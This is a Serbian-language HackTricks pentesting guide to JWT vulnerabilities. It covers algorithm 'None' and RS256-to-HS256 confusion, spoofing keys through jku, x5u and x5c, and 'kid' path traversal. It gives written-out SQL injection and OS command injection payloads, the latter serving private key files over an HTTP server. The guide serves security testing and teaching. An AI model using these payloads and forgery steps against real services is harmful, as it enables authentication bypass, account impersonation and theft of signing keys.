Serbian - Ht
HackTricks Training Twitter Linkedin Sponsor

JWT Vulnerabilities (Json Web Tokens)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pismeno tako i usmeno).

Deo ovog posta je zasnovan na sjajnom postu: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology Autor odličnog alata za pentestiranje JWT-ova https://github.com/ticarpi/jwt_tool

Brzi Uspeh

Pokrenite jwt_tool sa režimom Svi Testovi! i sačekajte zelene linije

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Ako imate sreće, alat će pronaći neki slučaj gde web aplikacija neispravno proverava JWT:

Zatim, možete pretražiti zahtev u svom proxy-ju ili izlistati korišćeni JWT za taj zahtev koristeći jwt_ alat:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Menjanje podataka bez modifikacije

Možete jednostavno menjati podatke ostavljajući potpis nepromenjen i proveriti da li server proverava potpis. Pokušajte da promenite svoje korisničko ime na "admin" na primer.

Da li je token proveren?

Da biste proverili da li se potpis JWT-a proverava:

  • Poruka o grešci sugeriše da se vrši provera; osetljivi detalji u opširnim greškama treba da budu pregledani.

  • Promena na vraćenoj stranici takođe ukazuje na proveru.

  • Bez promene sugeriše da nema provere; tada je vreme za eksperimentisanje sa menjanjem tvrdnji o podacima.

Poreklo

Važno je utvrditi da li je token generisan na serverskoj ili klijentskoj strani pregledom istorije zahteva proksija.

  • Tokeni prvi put viđeni sa klijentske strane sugerišu da bi ključ mogao biti izložen klijentskom kodu, što zahteva dalje istraživanje.

  • Tokeni koji potiču sa serverske strane ukazuju na siguran proces.

Trajanje

Proverite da li token traje više od 24 sata... možda nikada ne ističe. Ako postoji polje "exp", proverite da li server pravilno rukuje njime.

Brute-force HMAC tajni ključ

Pogledajte ovu stranicu.

Promenite algoritam u None

Postavite korišćeni algoritam kao "None" i uklonite deo sa potpisom.

Koristite Burp ekstenziju "JSON Web Token" da isprobate ovu ranjivost i promenite različite vrednosti unutar JWT-a (pošaljite zahtev Repeateru i u kartici "JSON Web Token" možete izmeniti vrednosti tokena. Takođe možete odabrati da postavite vrednost polja "Alg" na "None").

Promenite algoritam RS256(asimetrični) u HS256(simetrični) (CVE-2016-5431/CVE-2016-10555)

Algoritam HS256 koristi tajni ključ za potpisivanje i proveru svake poruke. Algoritam RS256 koristi privatni ključ za potpisivanje poruke i koristi javni ključ za autentifikaciju.

Ako promenite algoritam sa RS256 na HS256, serverski kod koristi javni ključ kao tajni ključ, a zatim koristi algoritam HS256 za proveru potpisa.

Zatim, koristeći javni ključ i menjanjem RS256 u HS256, mogli bismo kreirati validan potpis. Možete dobiti sertifikat veb servera koji izvršava ovo:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Novi javni ključ unutar zaglavlja

Napadač ugrađuje novi ključ u zaglavlje tokena, a server koristi ovaj novi ključ za proveru potpisa (CVE-2018-0114).

Ovo se može uraditi pomoću "JSON Web Tokens" Burp ekstenzije. (Pošaljite zahtev Repeater-u, unutar kartice JSON Web Token odaberite "CVE-2018-0114" i pošaljite zahtev).

JWKS falsifikacija

Uputstva detaljno opisuju metod za procenu sigurnosti JWT tokena, posebno onih koji koriste "jku" zaglavlje. Ovaj zahtev treba da vodi ka JWKS (JSON Web Key Set) fajlu koji sadrži javni ključ neophodan za verifikaciju tokena.

  • Procena tokena sa "jku" zaglavljem:

  • Proverite URL "jku" zahteva kako biste bili sigurni da vodi ka odgovarajućem JWKS fajlu.

  • Modifikujte vrednost "jku" tokena da usmerite ka kontrolisanom web servisu, omogućavajući posmatranje saobraćaja.

  • Pratite HTTP interakciju:

  • Posmatranje HTTP zahteva ka vašem određenom URL-u ukazuje na serverove pokušaje da preuzme ključeve sa vaše pružene veze.

  • Prilikom korišćenja jwt_tool za ovaj proces, važno je ažurirati jwtconf.ini fajl sa lokacijom vašeg ličnog JWKS kako biste olakšali testiranje.

  • Komanda za jwt_tool:

  • Izvršite sledeću komandu da simulirate scenario sa jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Kid Pregled problema

Opcioni zaglavlje poznato kao kid se koristi za identifikaciju određenog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ovaj zahtev pomaže u odabiru odgovarajućeg ključa za verifikaciju potpisa tokena.

Otkrivanje ključa putem "kid"

Kada je kid zahtev prisutan u zaglavlju, preporučuje se pretraživanje web direktorijuma za odgovarajući fajl ili njegove varijacije. Na primer, ako je "kid":"key/12345" naveden, fajlovi /key/12345 i /key/12345.pem treba tražiti u web root-u.

Prolazak putanje sa "kid"

kid zahtev takođe može biti iskorišćen za navigaciju kroz sistem fajlova, potencijalno omogućavajući izbor proizvoljnog fajla. Moguće je testirati konektivnost ili izvršiti Server-Side Request Forgery (SSRF) napade menjanjem vrednosti kid da cilja određene fajlove ili servise. Manipulisanje JWT-om kako bi se promenila vrednost kid zadržavajući originalni potpis može se postići korišćenjem -T zastave u jwt_tool, kako je prikazano ispod:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Kroz ciljanje datoteka sa predvidljivim sadržajem, moguće je falsifikovati validan JWT. Na primer, datoteka /proc/sys/kernel/randomize_va_space u Linux sistemima, poznata po vrednosti 2, može se koristiti u parametru kid sa 2 kao simetričnom lozinkom za generisanje JWT-a.

SQL Injection putem "kid"

Ako se sadržaj tvrdnje kid koristi za dohvat lozinke iz baze podataka, SQL injection može biti olakšana modifikovanjem kid payload-a. Primer payload-a koji koristi SQL injection za izmenu procesa potpisa JWT-a uključuje:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Ova izmena prisiljava korišćenje poznatog tajnog ključa, ATTACKER, za potpisivanje JWT-a.

OS Injection putem "kid"

Scenario u kojem parametar kid specificira putanju datoteke korištenu unutar konteksta izvršavanja komande može dovesti do ranjivosti na udaljeno izvršavanje koda (RCE). Ubacivanjem komandi u parametar kid, moguće je otkriti privatne ključeve. Primer payload-a za postizanje RCE-a i otkrivanje ključeva je:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u i jku

jku

jku označava JWK Set URL. Ako token koristi "jku" Header tvrdnju, proverite pruženi URL. Ovaj URL bi trebalo da pokazuje ka URL-u koji sadrži JWKS datoteku koja drži javni ključ za proveru tokena. Modifikujte token da jku vrednost pokazuje ka web servisu za koji možete pratiti saobraćaj.

Prvo morate kreirati novi sertifikat sa novim privatnim i javnim ključevima

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Zatim možete koristiti na primer jwt.io da biste kreirali novi JWT sa kreiranim javnim i privatnim ključevima i usmerili parametar jku ka kreiranom sertifikatu. Da biste kreirali validan jku sertifikat, možete preuzeti originalni i promeniti potrebne parametre.

Možete dobiti parametre "e" i "n" iz javnog sertifikata korišćenjem:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. URI koji pokazuje na set X.509 (standard formata sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u setu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Svaki naredni sertifikat potpisuje prethodni, čime se kompletira lanac sertifikata. X.509 je definisan u RFC 52807. Potrebna je transportna sigurnost za prenos sertifikata.

Pokušajte promeniti ovaj zaglavlje u URL pod vašom kontrolom i proverite da li je primljen zahtev. U tom slučaju biste mogli da manipulišete JWT-om.

Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, morate kreirati sertifikat i izdvojiti javne i privatne ključeve:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Zatim možete koristiti na primer jwt.io da biste kreirali novi JWT sa kreiranim javnim i privatnim ključevima i usmeravanjem parametra x5u ka sertifikatu .crt kreiranom.

Takođe možete zloupotrebiti oba ova propusta za SSRF napade.

x5c

Ovaj parametar može sadržati sertifikat u base64 formatu:

Ako napadač generiše samopotpisani sertifikat i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novo generisanim sertifikatom i modifikuje druge parametre, tačnije n, e i x5t, tada bi lažni token biti prihvaćen od strane servera.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Ugrađeni javni ključ (CVE-2018-0114)

Ako JWT ima ugrađen javni ključ kao u sledećem scenariju:

Korišćenjem sledećeg nodejs skripta moguće je generisati javni ključ iz tih podataka:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Moguće je generisati novi privatni/javni ključ, ugraditi novi javni ključ unutar tokena i koristiti ga za generisanje nove potpisa:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Možete dobiti "n" i "e" pomoću ovog Node.js skripta:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

ES256: Otkrivanje privatnog ključa sa istim nonce-om

Ako neke aplikacije koriste ES256 i koriste isti nonce za generisanje dva JWT-a, privatni ključ može biti obnovljen.

Evo primera: ECDSA: Otkrivanje privatnog ključa, ako se koristi isti nonce (sa SECP256k1)

JTI (JWT ID)

JTI (JWT ID) tvrdnja pruža jedinstveni identifikator za JWT token. Može se koristiti kako bi se sprečilo ponovno reprodukovanje tokena. Međutim, zamislite situaciju gde je maksimalna dužina ID-a 4 (0001-9999). Zahtevi 0001 i 10001 će koristiti isti ID. Dakle, ako backend inkrementira ID za svaki zahtev, možete zloupotrebiti ovo da ponovite zahtev (potrebno je poslati 10000 zahteva između svakog uspešnog ponavljanja).

JWT Registrovane tvrdnje

LogoJSON Web Token (JWT)

Ostali napadi

Napadi preko preusmeravanja između usluga

Primećeno je da neke web aplikacije zavise od pouzdane JWT usluge za generisanje i upravljanje njihovim tokenima. Zabeleženi su slučajevi gde je token, generisan za jednog klijenta od strane JWT usluge, bio prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnavljanje JWT-a putem usluge treće strane, trebalo bi istražiti mogućnost registracije naloga na drugom klijentu te usluge koristeći isto korisničko ime/email. Zatim treba pokušati ponoviti dobijeni token u zahtevu ka cilju da se vidi da li je prihvaćen.

  • Prihvatanje vašeg tokena može ukazivati na ozbiljan problem, potencijalno omogućavajući falsifikovanje naloga bilo kog korisnika. Međutim, treba imati na umu da bi mogla biti potrebna dozvola za širu testiranje ako se registrujete na aplikaciju treće strane, jer to može ući u pravnu sivu zonu.

Provera isteka tokena

Istek tokena se proverava korišćenjem tvrdnje "exp" Payload. S obzirom da se JWT-ovi često koriste bez informacija o sesiji, potrebno je pažljivo rukovanje. U mnogim slučajevima, hvatanje i ponovno reprodukovanje JWT-a drugog korisnika može omogućiti predstavljanje tog korisnika. RFC za JWT preporučuje smanjenje rizika od ponovnih napada JWT-om korišćenjem tvrdnje "exp" za postavljanje vremena isteka tokena. Nadalje, implementacija relevantnih provera od strane aplikacije kako bi se osiguralo procesuiranje ove vrednosti i odbacivanje isteklih tokena je ključno. Ako token uključuje tvrdnju "exp" i vremenska ograničenja za testiranje to dozvoljavaju, preporučuje se čuvanje tokena i ponovno reprodukovanje nakon što je isteklo vreme isteka. Sadržaj tokena, uključujući parsiranje vremenske oznake i proveru isteka (vremenska oznaka u UTC), može se pročitati korišćenjem zastave -R alata jwt_tool.

  • Postoji rizik po bezbednost ako aplikacija i dalje validira token, jer to može implicirati da token nikada ne može isteći.

Alati

Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje pisanog i govornog poljskog jezika).

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

PreviousInteger OverflowNextLDAP Injection

Last updated